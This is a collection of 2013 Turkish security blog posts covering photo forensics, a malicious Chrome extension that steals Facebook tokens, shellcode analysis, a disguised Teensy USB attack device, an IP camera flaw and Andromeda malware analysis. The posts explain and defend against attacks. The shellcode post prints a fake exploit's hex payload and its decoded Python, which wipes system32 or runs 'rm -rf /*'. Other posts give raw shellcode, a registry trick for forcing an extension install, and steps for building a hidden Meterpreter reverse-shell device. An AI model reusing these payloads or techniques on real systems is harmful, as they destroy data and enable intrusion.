Error Level Analysis (ELA), Türkçe meali ile Hata Seviyesi Analizine ilk olarak 2007 yılında BlackHat güvenlik konferansında sunum yapan Neal Krawetz tarafından yer verilmiştir. ELA kısaca JPEG dosyasının belli bir görüntü kalitesi seviyesinde kaydedilmesi ile ortaya çıkan hataların, kaydedilmeden önceki hali ile kıyaslamasını gerçekleştirmek için kullanılan bir algoritmadır. Herhangi bir JPEG dosyasını tekrar ve tekrar kaydettiğiniz taktirde resmin kalitesinin düştüğünü, 20 defa kaydettikten sonra ise resmin kalitesinin en düşük kalite seviyesine geldiğini rahatlıkla görebilirsiniz.JPEG, her kayıtta (save) görüntü kalitesini bir miktar kaybeden bir görüntü, dosya biçimidir dolayısıyla ELA'ya imkan tanımaktadır.
Teorik bilgiyle çok fazla kafamızı karıştırmadan işi pratiğe dökerek bir JPEG dosyasında yapılan manipülasyonu nasıl tespit edebileceğimize kısaca bakalım. ELA için kullanabileceğimiz çevrimiçi (online) ve çevrimdışı (offline) olmak üzere iki tane aracımız bulunmaktadır. Çevrimdışı analiz için Python programlama dili ile yazılmış olan ela.py aracını kullanabiliriz. Aracın kaynak koduna bakacak olursak bu araç, verilen bir fotoğrafı %95 görüntü kalitesi ile kaydetmekte, farkını almakta ve ortaya çıkan hata seviyesini görsel olarak ortaya koymaktadır. Fotoğrafta manipüle edilmiş, değiştirilmiş yerler kayıt sonrası daha yüksek hata seviyesine sahip olduğu için ELA sayesinde görsel olarak manipüle edilen yerlerin tespit edilmesi mümkün olabilmektedir.
Örnek olarak bu yazı için çekmiş olduğum fotoğrafın orjinal halini ve Photoshop yazılımı ile manipüle edilmiş halini ELA tekniği ile kısaca analiz edelim.
Sol tarafta çekmiş olduğum fotoğrafın orjinal halini, sağ tarafta ise ELA tekniği ile resmin analiz edilmiş halini görebilirsiniz.

Sol tarafta çekmiş olduğum fotoğrafın manipüle edilmiş halini (Batman'in logosu kırmızı boyanmıştır), sağ tarafta ise ELA tekniği ile resmin analiz edilmiş halini görebilirsiniz.

İki logoya daha da yakından bakacak olursak manipüle edilmiş resmin ELA'sının daha yüksek olduğunu dolayısıyla renkte farklılık (kırmızılık) olduğunu görebilirsiniz.

Çevrimiçi analiz için ise 29ach sitesinde yer alan Image Error Level Analyser aracından faydalanabiliriz. HTML5 desteğine sahip bu araç sayesinde şüphelendiğimiz, analiz etmek istediğimiz fotoğrafı bu sayfaya sürüklediğimizde oluşturulan ELA sonucunu rahatlıkla görebiliyoruz. Error Level Analyser aracını ve ELA becerinizi geliştirmek için son zamanlarda sosyal ağlarda ve medyada sıkça paylaşılan bobiler.org sitesine ait olan montajlanmış fotoğrafları örnek olarak kullanabilirsiniz. Örneğin bobiler.org sitesinden temin ettiğim bu fotoğrafta, birkaç polisin yol ortasında asılı duran bir halıya koşarak ilerlediğini görüyoruz. Mantık yürüterek bu fotoğrafın gerçek olamayacağını tahmin edebilsek de, başarılı bir montaj sonucunda ortaya çıkmış bu fotoğrafı Error Level Analyser ile analiz ederek hangi kısımların manipüle edildiğini tespit edebiliriz.
Görüldüğü üzere halının ve halının asılı olduğu kısmın manipüle edildiği açıkça görülmekte dolayısıyla bu fotoğrafın üzerinde oynama yapıldığını rahatlıkla söyleyebiliriz.

Sonuç olarak ELA ile siz de doğruluğundan şüphe ettiğiniz fotoğrafları analiz edebilirsiniz ancak ELA ile her zaman %100 doğru bir sonuca varılamayacağı, manipülasyonların tespit edilemeyeceği durumların da söz konusu olduğu asla unutulmamalıdır. ELA ile ilgili daha fazla bilgi almak ve örnek analiz görmek için bu sayfayı ve de bu sayfayı ziyaret edebilirsiniz.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Jeton Hırsızları

Source: https://www.mertsarica.com/jeton-hirsizlari/
By M.S on June 4th, 2013

Son aylarda Türk kullanıcılarını hedef alan, Chrome ve Firefox için geliştirilmiş olan zararlı eklentilerin sayısında büyük bir artış olduğu eminim sizlerin de dikkatinden kaçmamıştır. Özellikle web siteleri üzerinden müşterilerine servis/hizmet veren çoğu kurumsal firma, bu zararlı eklentiler nedeniyle müşterilerinden gelen "sitenize girerken reklam (oyun, çöpçatan sitesi vb.) penceresi ile karşılaşıyorum" şikayetlerini sıkça duyar olmuşlardır. Bu şikayetlere konu olan zararlı eklentiler, Facebook üzerinden "videomu izleyip yorum atar mısınız?" gibi mesajlarla yayılırken, Twitter ve Chrome Web Mağazası üzerinden "Twitter Takipçi Arttırma" vb. eklenti isimleri altında yayılmaktadırlar. Bu zararlı eklentilerden bazıları Facebook kullanıcı adı ve şifrenizi çalarken, bazıları istenmeyen reklam mesajları çıkarırken, bazıları da OAUTH jetonlarını çalmaktadırlar. Bu yazımda hem istenmeyen reklam mesajı hem de OAUTH jetonunu çalan zararlı Chrome eklentisine yer vereceğim.
Facebook üzerinden yayılan zararlı yazılım, "videomu izleyip yorum atar mısınız?" mesajı ile internet tarayıcısına bulaştığı kurbanın arkadaşlarını, Dropbox üzerinde yer alan bir Flash dosyasına yönlendirmeye çalışmakta ve bu siteyi ziyaret eden kullanıcı/kurban, sahte Adobe Flash Player güncelleme sayfası ile karşılaşmaktadır.

Flash dosyası, kaynak koduna çevrilip incelendikten sonra Flash dosyasının kullanıcıyı http://socialhizmetleri.com/flash.php sayfasına yönlendirdiği, bu sayfanın da kullanıcıya FlashPlayer.exe adı altında zararlı bir dosya yüklettiği görülmektedir. Bu dosya ise çalıştırıldığında, C:\ProgramData\Adobe klasörü altında 3 dosya (adobe.crx, komut.cmd, update.xml) oluşturmaktadır. Program bir yandan adobe.crx Chrome eklentisini HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist\1 anahtarı altına klmfkladgfkicpnhcibocncmpbgfpbih;C:\ProgramData\Adobe\update.xml değeri ile kaydetmekte diğer yandan çalıştırdığı komut.cmd betiği ise o esnada sistem çalışan Chrome internet tarayıcısı olması durumunda tarayıcıyı kapatmaktadır. (C:\Windows\System32\taskkill.exe /im chrome.exe)
Art niyetli kişiler, ExtensionInstallForcelist ile kullanıcının bilgisi olmadan Chrome internet tarayıcısına zararlı eklentiyi yükletmektedir. adobe.crx eklentisi ise aslında içinde Javascript dosyaları da barındıran bir ZIP dosyasıdır dolayısıyla CRX uzantısı, ZIP olarak değiştirilip açılarak içinde yer alan dosyalar rahatlıkla incelenebilmektedir. Eklentinin en önemli parçası olan background.js javascript dosyası metin editörü ile incelendiğinde art niyetli kişilerin niyeti rahatlıkla anlaşılabilmektedir.

Fonksiyonlara bakıldığında, zararlı eklenti yüklü olan Chrome çalıştırıldığında, ilk olarak kullanıcıyı http://ask-tr.com/php/up.php adresine, ardından http://goo.gl/hDe9h sayfasına ve son olarak da http://ask.fm adresine yönlendirmektedir. http://goo.gl/hDe9h sayfasının istatistiklerine bakıldığında ise 12 günde yaklaşık 1800 kişinin bu zararlı eklentiyi yüklediği görülmektedir.

Javascript kodunun son satırlarına bakıldığında, art niyetli kişilerin eklentiyi Chrome ayar sayfasından gizlemek için, ayar sayfasına girildiğinde kullanıcıyı https://chrome.google.com/webstore sayfasına yönlendiren bir mekanizma oluşturdukları da açıkça görülmektedir.
Bunun ilave olarak http://www.ask-tr.com/kayit.php sayfasına kurbanın veya kullandığı uygulamanın access_token'ını, kullanıcı adını, cinsiyetini göndermekte ardından kurbanın adına Facebook sayfasında mesajlar paylaşarak arkadaşlarını da bu zararlı eklentiyi yükletmeye çalışmaktadır. Bu sayede yeni kurbanları ağına düşürecek ve bu eklentiyi yükleyen her yeni kurban, Chrome internet tarayıcısında yeni bir sekme (tab) açtığında http://ask-tr.com/script.js javascript dosyası arka planda otomatik olarak yüklenecek, kurbanın karşısına istenmeyen reklam pencereleri açılacak ve yeri geldiğinde kurbanlarını istedikleri Facebook sayfalarını beğendirtmek amacıyla zombi olarak kullanabileceklerdir.
Her ne kadar http://ask-tr.com/script.js javascript kodu gizlenmiş (obfuscated) olsa da, yeni oluşturulan bir html dosyasına kopyalanıp (kodun başına ve sonuna, html ve script etiketlerini koymayı unutmayın) _3137(_9776); satırı alert(_9776); olarak değiştirildiğinde, bunun reklam penceresi açılmasını sağlayan ve art niyetli kişilere reklam üzerinden kazanç sağlayan kod olduğu anlaşılmaktadır.

Sonuç olarak sosyal ağların art niyetli kişilerin tehdidi altında olduğu bir gerçektir. Eğer siz de son zamanlarda bu veya benzer şüpheli istenmeyen reklam pencereleri ile sıkça karşılaşıyorsanız, öncelikli olarak internet tarayıcınızın eklentilerini kontrol etmenizi, arkadaş listenizde olan ve benzer mesajlar gönderen arkadaşlarınızı farketmeniz durumunda da onları en kısa sürede uyarmanızı şiddetle öneririm.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Not: Chrome kullanan ve bu zararlı eklentiyi silmek isteyen kullanıcılar, HKLM\SOFTWARE\Policies\Google\Chrome\ExtensionInstallForcelist anahtarı altında yer alan şüpheli alt anahtarları temizleyebilirler.

Nginx DoS İstismar Kodu

Source: https://www.mertsarica.com/nginx-dos-istismar-kodu/
By M.S on May 17th, 2013

7 Mayıs tarihinde Nginx'in resmi web sayfasında, Greg MacManus tarafından nginx v1.3.9 ve 1.4.0 sürümlerinde tespit edilen bellek taşması güvenlik zafiyeti (CVE-2013-2028) için bir yama yayınlandığı belirtilmişti. Can sıkıntısı nedeniyle bu zafiyet üzerinde yaptığım 1 saatlik bir araştırmada, bu zafiyeti istismar eden ve nginx web sunucusunu hizmet dışı bırakan bir istismar kodu hazırladım.
Kali ve Windows XP işletim sistemleri üzerinde denediğim ve Exploit-DB'ye gönderdiğim istismar koduna buradan ulaşabilirsiniz.

Not: Exploit-DB ve Packetstorm'a dosyaları gönderirken CVE-2013-2028 yerine CVE-2013-2070 olarak göndermişim, doğrusu CVE-2013-2028 olacaktır.
I submitted the POC code with wrong CVE (CVE-2013-2070) to Exploit-DB & PacketStorm so the correct one is CVE-2013-2028.

KabukKod Analizi

Source: https://www.mertsarica.com/kabukkod-analizi/
By M.S on April 30th, 2013

Kabukkod (shellcode), tespit edilen güvenlik zafiyetinin istismar edilmesi ile hedef işletim sistemi üzerinde komut satırı erişimi vermeye yarayan bir kod parçasıdır (instructions) bu nedenle istismar kodunun belki de en önemli parçasıdır. Penetrasyon testlerinden, APT (advanced persistent threat) saldırılarına, arka kapılardan, Watering Hole saldırılarına (popüler sitelerin hacklenerek ziyaretçilerinin zararlı yazılım içeren başka sitelere yönlendirilmesi) kadar birçok alanda sıkça kullanılan istismar kitleri dolayısıyla kabukkodlarının analizi de her geçen gün güvenlik uzmanları ve kurumlar için önem kazanmaktadır.
Özellikle penetrasyon testlerinde Metasploit, Core Impact, Canvas ve benzeri istismar araçlarında yer alan ve kabukkod içeren istismar kodları kullanılmadığı sürece Packetstorm, Exploit-DB, 1337day vb. istismar kodu yayınlayan sitelerden indirilen istismar kodlarının dolayısıyla kabukkodlarının test edilmeden, kontrol edilmeden herhangi bir penetrasyon testin de kullanılması hem testi gerçekleştiren hem de kurumlar/müşteriler için oldukça risklidir. Bunun nedeni ise art niyetli kişilerin kimi zaman sahte istismar kodu altında, sisteme zarar veren kabukkodu içeren istismar kodlarını çeşitli internet sitelerinde yayınlamalarından kaynaklanmaktadır.
13 Mart 2012 tarihinde Microsoft tarafından yayınlanan bir bildiride (MS12-020), RDP üzerinde uzaktan komut çalıştırmaya imkan tanıyan kritik bir güvenlik zafiyeti tespit edildiği belirtilmiştir. Bu bildirinin yayınlanmasından kısa bir süre sonra ise hem sosyal medyada hem de çeşitli internet sitelerinde, bu zafiyeti istismar ederek uzaktan komut çalıştırmaya imkan tanıyan istismar kodlarına verilmiştir.

Örneğin Pastebin'de yer alan bu istismar kodu her ne kadar shellcode adında bir değişkene sahip olsa da aslında gerçek anlamda bir kabukkod içermemektedir.

shellcode = "\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73"
shellcode += "\x74\x65\x6d\x28\x27\x64\x65\x6c\x20\x2f\x73\x20\x2f\x71\x20\x2f\x66\x20\x43\x3a"
shellcode += "\x5c\x77\x69\x6e\x64\x6f\x77\x73\x5c\x73\x79\x73\x74\x65\x6d\x33\x32\x5c\x2a\x20"
shellcode += "\x3e\x20\x4e\x55\x4c\x20\x32\x3e\x26\x31\x27\x29\x20\x69\x66\x20\x27\x57\x69\x6e"
shellcode += "\x27\x20\x69\x6e\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x70\x6c\x61"
shellcode += "\x74\x66\x6f\x72\x6d\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x29\x20\x65\x6c\x73"
shellcode += "\x65\x20\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73"
shellcode += "\x79\x73\x74\x65\x6d\x28\x27\x72\x6d\x20\x2d\x72\x66\x20\x2f\x2a\x20\x3e\x20\x2f"
shellcode += "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x32\x3e\x26\x31\x27\x29\x20\x23\x68\x69\x20"
shellcode += "\x74\x68\x65\x72\x65\x20\x5e\x5f\x7e\x20\x66\x65\x65\x6c\x20\x66\x72\x65\x65\x20"
shellcode += "\x74\x6f\x20\x73\x70\x72\x65\x61\x64\x20\x74\x68\x69\x73\x20\x77\x69\x74\x68\x20"
shellcode += "\x74\x68\x65\x20\x72\x6d\x20\x2d\x72\x66\x20\x72\x65\x70\x6c\x61\x63\x65\x64\x20"
shellcode += "\x77\x69\x74\x68\x20\x73\x6f\x6d\x65\x74\x68\x69\x6e\x67\x20\x6d\x6f\x72\x65\x20"
shellcode += "\x69\x6e\x73\x69\x64\x69\x6f\x75\x73"

Yukarıda yer alan shellcode değişkenini (kabukkod) aşağıdaki gibi en sade hale getirip,

5f5f696d706f72745f5f28276f7327292e73797374656d282764656c202f73202f71202f6620433a5c77696e646f77735c73797374656d33325c2a203e204e554c20323e26312729206966202757696e2720696e205f5f696d706f72745f5f2827706c6174666f726d27292e73797374656d282920656c7365205f5f696d706f72745f5f28276f7327292e73797374656d2827726d202d7266202f2a203e202f6465762f6e756c6c20323e2631272920236869207468657265205e5f7e206665656c206672656520746f20737072656164207468697320776974682074686520726d202d7266207265706c61636564207769746820736f6d657468696e67206d6f726520696e736964696f7573

HEX değerlerini ASCII değerlerine çevirdiğimizde,

__import__('os').system('del /s /q /f C:\windows\system32\* > NUL 2>&1') if 'Win' in __import__('platform').system()
else
__import__('os').system('rm -rf /* > /dev/null 2>&1')
#hi there ^_~ feel free to spread this with the rm -rf replaced with something more insidious

yukarıda yer alan bu kodun çalıştırıldığı işletim sisteminin Windows olması durumunda system32 klasörünü sildiğini, Windows dışındaki işletim sisteminde çalıştırılması durumunda ise kök dizin (/) altında yer alan tüm dizinleri sildiğini, kısacası kabukkod adı altında sisteme zarar vermek amacıyla geliştirilmiş Python kodu içeren sahte bir istismar kodu olduğunu görebiliyoruz.
Peki ya gerçek anlamda OPCODElar'dan oluşan bir kabukkod nasıl analiz edilir ?
Örneğin elimizde bir istismar kodundan veya bir zararlı yazılımdan temin ettiğimiz aşağıdaki gibi bir kabukkodu (İngilizce Windows XP SP3'de çalışmaktadır) olduğunu düşünelim. Bunu analiz edebilmek için öncelikle disassemble etmemiz gerekmektedir.

31c031db31c931d251686c6c20206833322e64687573657289e1bb7b1d807c51ffd3b95e6730ef81c111111111516861676542684d65737389e15150bb40ae807cffd389e131d252515152ffd031c050b812cb817cffd0

Bunun için çevrimiçi (online) ve çevrimdışı (offline) olmak üzere 2 yol izleyebiliriz.
Çevrimiçi analiz için Malware Tracker gibi kabukkod analizi yapan ve bize assembly kodunu gösteren bir siteden faydalanabiliriz.

Çevrimdışı analiz için ise kendimizi yormak istemiyorsak (Immunity Debugger aracı ile herhangi bir programı (örnek calc.exe) açıp, ilk 500 baytını kabukkodu ile değiştirip analiz etmek), shellcode2exe aracı ile elimizdeki kabukkodunu (sc.bin) yürütülebilir programa (executable) çevirip (sc.exe) ardından Immunity Debugger aracı ile analiz edebiliriz. (Immunity Debugger ile kabukkoda gelene kadar F8 (Step Over) ile ilerleyip ardından CTRL-A tuşlarına (Analysis Code) basacak olursak kodun analiz için daha da okunaklı bir hale dönüştüğünü görebiliriz.)

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Ufacık Tefecik İçi Dolu Teensy’cik

Source: https://www.mertsarica.com/ufacik-tefecik-ici-dolu-teensycik/
By M.S on April 2nd, 2013

Sızma testi gerçekleştiren çoğu bilişim güvenliği uzmanının hayalini süsleyen Teensy cihazını Kadir ALTAN'ın yardımları sayesinde geçtiğimiz aylarda temin edebildim. Teensy (3. jenerasyon), ARM mikrodenetleyiciye ve 16 MB RAM'e sahip, 3.6 cm x 1.8 cm boyutunda, USB HID (Human Interface Device) olarak kullanılabilen 19$ değerinde bir cihazdır. Hayalleri süslemesinin en büyük sebeplerinden birkaçı; programlanabilir klavye olarak kullanılabilmesi, Social Engineering Toolkit ve Kautilya gibi çeşitli sızma testi araçları ile rahatlıkla programlanabilmesi ve dolayısıyla sosyal mühendislik testlerinde etkili bir şekilde kullanılabilmesidir.

Geçtiğimiz ayın ortasına kadar Teensy'nin geliştirme platformunun (Arduino/Teensyduino) Türkçe klavye desteğine sahip olmaması, yukarıda bahsetmiş olduğum hazır kodların ve araçların Türkçe klavye kullanılan sistemlerde kullanılamamasına neden oluyordu fakat Teensy'nin rafımda tozlanmasına daha fazla göz yumamayarak Teensy'nin geliştiricisi olan Paul ile iletişime geçerek 13 Mart tarihinde Teensy'nin kısmi (Türkçe karakter desteği henüz yok) olarak Türkçe klavye destekleyen Teensyduino v1.13 sürümünün yayınlanmasına vesile oldum. :)

Örneğin Teensy ile bir kuruma sosyal mühendislik testi gerçekleştirecek olan bilişim güvenliği uzmanı ilk olarak Teensy'i kamufle etmek zorundadır. Bu işi ya cicili bicili bir taşınabilir USB bellek (flash disk) içine gizleyerek ya da fiziksel açıdan kendisine daha çok yer imkanı tanıyan bir USB modem içine gizleyerek halledecektir. Her ne kadar Teensy ebat olarak ufak olsa da Micro USB (Teensy v2 mini USB girişe sahiptir.) girişe sahip olduğu için kurbanın USB bağlantı noktasından Teensy'i sisteme bağlayabilmesi için ilave olarak USB disk kasası içinde bir Micro USB < -> USB çeviricisinin/kablolamasının bulunması da gerekecektir. Durum böyle olunca Teensy'yi kamufle etmek için en ideal kasa, uzmanımızın uzun süreden beri kullanmadığı eski model tombul Avea Jet Modem kasası olacaktır. Uzmanımız Micro USB'yi USB'ye çeviren kablolama işlemini tamamladıktan sonra Teensy, yeni kasasıyla programlanmaya hazır olacaktır.

Teensy'i programlamak için Arduino ve Teensyduino'nun son sürümünü sistemine kuran uzmanımız ardından Kali Linux işletim sistemi üzerinde yer alan SET (Social Engineering Toolkit) ile Teensy için ihtiyacına uygun olan Teensy kodunu oluşturacaktır.
SET komut satırında, 1-6-7 menü adımlarını takip eden uzmanımız Teensy için Meterpreter (Windows Reverse TCP Meterpreter) kodunu reports/binary2teensy.pde adı altında oluşturup bu kodu Windows'a kopyalayacak ardından Arduino ile derleyip Teensy'e aktarmadan önce ufak bir düzeltme yapması gerekecektir. SET ile oluşturulan Teensy kodu, varsayılan olarak hafıza kartından (SD Card) çalışmak üzere oluşturulduğu için hafıza kartı kullanılmayan bir Teensy'de bu kod çalışmayacaktır bu nedenle uzmanımız bu kodu (binary2teensy.pde) Arduino ile derlemeden önce PROGMEM değerlerini boşluk ile değiştirecek (replace), strcpy_P(buffer, (char*)pgm_read_word(&(exploit[i]))); ve Keyboard.print(buffer); satırını silerek yerine Keyboard.print(exploit[i]); satırını koyarak hafıza kartı yerine SRAM'i kullanan kodu derleyebilecektir.
Derlenecek olan kod sistem üzerinde alfanümerik kabuk kod, alfanümerik kodu çalıştırmaya yarayan yardımcı araç, powershell, bat ve vbs betiklerini kullanmaktadır. Betikler arasında Powershell'den faydalanılıyor olması sayesinde daha önce Komut Satırınının Gücü başlıklı yazımda da bahsettiğim üzere modern Windows işletim sistemlerinde varsayılan olarak gelen Powershell ile çeşitli işlemlerin daha etkili ve şüphe çekmeden gerçekleştirilmesi sağlanabilmektedir. Derlenen kod otomatik olarak Teensy'e yüklendikten sonra kamufle olmuş USB modem kılığındaki Teensy'i meraklı bir kurum çalışanının almasını ve çalıştırmasını sağlayacak ardından kurbanın sistemine Metasploit ile erişebilerek mutlu sona erişecektir.

Bugün bir sızma testi kapsamında, sosyal mühendislik testi gerçekleştiren bir bilişim güvenliği uzmanı tarafından kullanılan Teensy'nin yarın art niyetli kişilerce size ve/veya kurumunuza karşı kullanılmayacağının hiç bir garantisi yoktur bu nedenle açık USB bağlantı noktalarına sahip olan kurumlar ve bilgi güvenliği farkındalığı yüksek olmayan kurum çalışanları Teensy gibi cihazlar sayesinde çok daha kolay bir şekilde istismar edilebilmektedir.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Yapılan çalışmayı kısaca özetleyen videoyu buradan izleyebilirsiniz.

MacGyver Olsaydı..

Source: https://www.mertsarica.com/macgyver-olsaydi/
By M.S on March 1st, 2013

80'lerde benim gibi çocuk olanların kahramanı çoğunlukla ya Michael Knight ya da MacGyver'dır. MacGyver, Kanada'da çekilmiş aksiyon-macera türünde bir Amerikan televizyon dizisiydi. Ajanımız Macgyver, silah kullanmayı sevmeyen, hemen hemen her bölümde fizik bilgisini kullanarak çevresinde bulduğu araç gereçlerden silah yaparak düşmanlarının elinden kolaylıkla kurtulabilmekteydi. Hatta bir bölümde MacGyver, etrafı gözetleyen bir kameranın hemen altında, kör noktada durup kameranın izlediği yolun fotoğrafını çekmiş, ardından bu resmi kameranın önüne koymuş ve kameranın çekilen bu fotoğrafı görüntü olarak güvenlik görevlilerine aktarmasını sağlayarak yakalanmadan koşar adımlarla oradan uzaklaşabilmiştir. Peki ya MacGyver günümüzde olsaydı ve geçmesi gereken bir kapının hemen arkasında kapıyı çeken ve kablosuz haberleşen bir IP kamera olsaydı ne yapardı ?
Geçtiğimiz aylarda satın aldığım Arduino Uno R3 cihazını gözetleme kamerasına çevirme girişimimin astarı yüzünden pahalıya (kablosuz ağ kalkanı, kamera vs.) geleceğini düşünerek IP kamera arayışı içine girdim ve çok geçmeden Türkiye'de Uranium markası altında satılan (Dünya'da WANSVIEW NCB-541W) SIP-10 modelini satın aldım. Cihazın kablosuz ağ desteklemesi, gece görüşünün olması, hareket algılama ve e-posta gönderme özelliğinin olması, fiyatı ve tabii ki uzaktan yönetilmeye imkan tanıyan Android uygulaması ile birlikte gelmesi satın alma kararı almamda etkili oldu.
Her zamanki gibi aldığım bir cihazı hacklemeye çalışmak, efendi efendi kullanmaktan çok daha cazip geldiği için geleneği bozmayarak kamerayı kurmadan önce kurulum CD'si ile birlikte gelen uygulamalara göz atmaya ve MacGyver olsaydı ne yapardı? sorusuna yanıt aramaya karar verdim.
Ağda bulunan kamerayı tespit etmek ve yeni ip adresi tanımlamak için kullanılan BSearch_en.exe dosyasını Immunity Debugger aracı ile biraz inceledikten sonra kamerayı kurup çalıştırdım ve ağ seviyesinde uygulamanın nasıl çalıştığını kısaca inceledim.
IP kamera varsayılan olarak 192.168.0.178 ip adresi ile birlikte gelmekte ve BSearch uygulaması tarafından BROADCAST adrese gönderilen UDP paketlerine (SEARCH ve UPDATE) yanıt vererek kullanıcının kamerayı tespit etmesine (SEARCH) ve ayarları değiştirmesine (UPDATE) imkan tanımaktadır.

Tabii ayarları değiştirebilmek için (UPDATE) öncelikle kullanıcının ip kamerasının yönetim kullanıcı adı ve şifresini doğru girmesi gerekmektedir aksi halde tanımlarda herhangi bir değişiklik yapamamaktadır.

Kameraya giden ve gelen veriyi dikkatlice incelediğim de MO_I parametresi dikkatimi çekti. MO_I parametresinden sonra gelen bayt'ın SEARCH paketinde 00, UPDATE paketinde ise 02 olduğunu farkettim.
Cihaz üreticileri çoğunlukla hata ayıklamak (debug) ve/veya geliştirme amacıyla cihazlara arka kapı bırakmayı sevdiklerinden ötürü bu bayt üzerinde Fuzzing yapmaya karar verdim ve bunun için Python ile sip-10_fuzzer.py adında bir program hazırladım. Programı çalıştırdıktan sonra Fuzz edilen baytın 78 olduğu durumda, cihazın yeniden başladığını farkettim. Ardından cihaza SEARCH paketi gönderdiğim de cihazın MAC adresinin değişmiş olduğunu farkettim.

Sonuç olarak yaptığım kısa araştırma sonucunda SIP-10 IP kamerasında keşfettiğim bu güvenlik zafiyeti ile cihazı yetkisi olmayan ve ağda bulunan herhangi bir kişinin uzaktan yeniden başlatabildiğini ve MAC adresini değiştirebildiğini tespit etmiş oldum. Gelelim MacGyver olsaydı ne yapardı sorusunun yanıtına. Muhtemelen kahramanımız kablosuz ağa dahil olur ve göndereceği tek bir paket ile kamerayı geçici süreliğine devre dışı bırakarak kameraya yakalanmadan yoluna emin adımlarla devam ederdi :)
MacGyver'ın yerinde herhangi bir hırsızın olmaması dileğiyle herkese güvenli günler dilerim.

Pwndromeda

Source: https://www.mertsarica.com/pwndromeda/
By M.S on February 1st, 2013

Son yazımdan yani 1 Ocak 2013 tarihinden bu yana geçen zaman zarfında Zemana'dan Emre TINAZTEPE'nin yayınlamış olduğu analiz raporunda sahte e-postalar ile gönderilen bankacılık zararlı yazılımının Andromeda (Symantec'e göre Downloader.Dromedan) zararlı yazılımı olduğunu ve dropper (başka bir zararlı yazılım indiren ve çalıştıran zararlı yazılım) olarak çalışarak Cridex ve/veya Zeus bankacılık zararlı yazılımlarını indirdiğini görmüş olduk. Bir önceki yazımda da Andromeda zararlı yazılımının sanal makinede çalıştırılması durumunda farklı davranışlar sergilediğini ve sadece sistemsel analizler yapılarak hatalı sonuçlara varılabileceğini görmüş olduk.
1 Ocak tarihinden bu yana sahte Turkcell, Kuveyt Türk, Türk Telekom, Garanti Bankası e-postaları ile sayısız defa tekrar ve tekrar gönderilen Andromeda zararlı yazılımı, her defasında olmasa da her iki gönderimde bir, yeni bir komuta kontrol merkez adresi ile gönderiliyordu. Durum böyle olunca da analiz için yazılım seviyesine inemeyen ancak zararlı yazılıma karşı da kurumlarını ve çalışanlarını korumak için komuta kontrol merkezi adreslerini tespit etmek ve güvenlik cihazları üzerinde kara listeye eklemek isteyen çok sayıda sistem/güvenlik yöneticisi olduğunu farkettim ve kendilerine yardımcı olabilmek adına işe koyuldum.
Normalde bu zararlı yazılım sanal makinede çalıştığını kontrol etmiyor ve farklı davranışlar sergilemiyor olsaydı bu zararlı yazılımı sanal makineye kopyalayıp, çalıştırarak ve Wireshark gibi bir trafik izleme aracı ile izleyerek haberleştiği komuta merkezlerini rahatlıkla tespit edebilirdiniz ancak aksi bir durum söz konusu olduğu için her defasında bu zararlı yazılımı, yazılım seviyesine inip analiz etmekten veya zararlı yazılım tarafından tespit edilemeyen özel olarak konfigüre edilmiş bir sanal makinede çalıştırmaktan başka bir çareniz kalmıyordu. Özel olarak konfigüre edilmiş bir sanal makine, tespit edilmemek için ana sistem ile arasındaki kullanımı kolaylaştıran dosya paylaşımı gibi özelliklerden arındırıldığı için sanal makineyi tam randımanlı kullanmak pek mümkün olmuyor. Bu durumda eliniz kolunuz bağlı beklemekten veya zorluklarla mücadele ederek ilerlemekten başka çareniz kalmıyor. Peki gerçekten de öyle mi ? Aslında analiz etmek istediğiniz zararlı yazılım Andromeda olduğu sürece az önce bahsettiğim zorluklarla mücadele etmek zorunda değilsiniz.
Andromeda zararlı yazılımını yazılım seviyesinde analiz ettiğimde dikkatimi çeken lol adında bir mutex nesne kontrolü oldu.

Mutex nesnesini kabaca ve kısaca, bir yazılımın, kopyasının, sistemde çalışmasını engellemek amacıyla kullanılan bir nesne olarak düşünebilirsiniz. Örneğin X yazılımı sistemde çalıştığında Hack4Career mutex nesnesi yaratabilir ve ardından sistemde ikinci defa çalıştırıldığında hali hazırda sistemde çalışıp çalışmadığını kontrol etmek için Hack4Career mutex nesnesini kontrol ederek bu sonuca göre sistemde tekrar çalışıp çalışmayacağına karar verebilir.

Bu kontrol sayesinde eğer lol adındaki bu mutex nesnesi sistemde yaratılmış ise Andromeda zararlı yazılımı, tüm VM kontrollerini atlayarak, pas geçerek sanal makine içinde çalışmaktaydı. Kısacası Andromeda zararlı yazılımının geliştiricisi muhtemelen sanal makinede zararlı yazılımı test edilebilmek için zararlı yazılımına bir nevi arka kapı koymuştu. Bu sayede biz de bu arka kapıdan faydalanarak Andromeda zararlı yazılımının sanal makinede çalışmasını sağlayabilir ve rahatlıkla trafiğini analiz edebilirdik.
Bunun için Python ile Andromeda Anti VM adında işletim sisteminde lol adında bir mutex nesnesi oluşturan ufak bir program hazırladım. Bu sayede Andromeda zararlı yazılımını analiz etmek için yapmanız gereken tek şey Andromeda zararlı yazılımı ile birlikte Andromeda Anti VM programını sanal makineye kopyalamak, önce Andromeda Anti VM programını daha sonra ise Andromeda zararlı yazılımını çalıştırmak ve sanal makinenin ürettiği trafiği izleyerek kara listeye ekleyeceğiniz adresleri rahatlıkla tespit etmektedir.
Hatta benim gibi işi gereği komuta kontrol merkezlerini anlık olarak takip etmek isteyenler aşağıdaki resimde ve videoda yer aldığı gibi Andromeda Anti VM programını izleme mekanizmalarının kilit bir parçası olarak da kullanabilirler.

Analizinizi kolaylaştıracak Andromeda Anti VM programını buradan indirebilirsiniz.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Aşağıdaki video, 30 Ocak tarihinde gönderilen sahte Garanti Bankası e-postası ile gönderilen Andromeda zararlı yazılımı üzerinde yapılan çalışmayı içermektedir. (Andromeda zararlı yazılımlarının temin edilmesinde göstermiş olduğu yardımseverlik nedeniyle Kemal Karakaya'ya teşekkürü bir borç bilirim.)

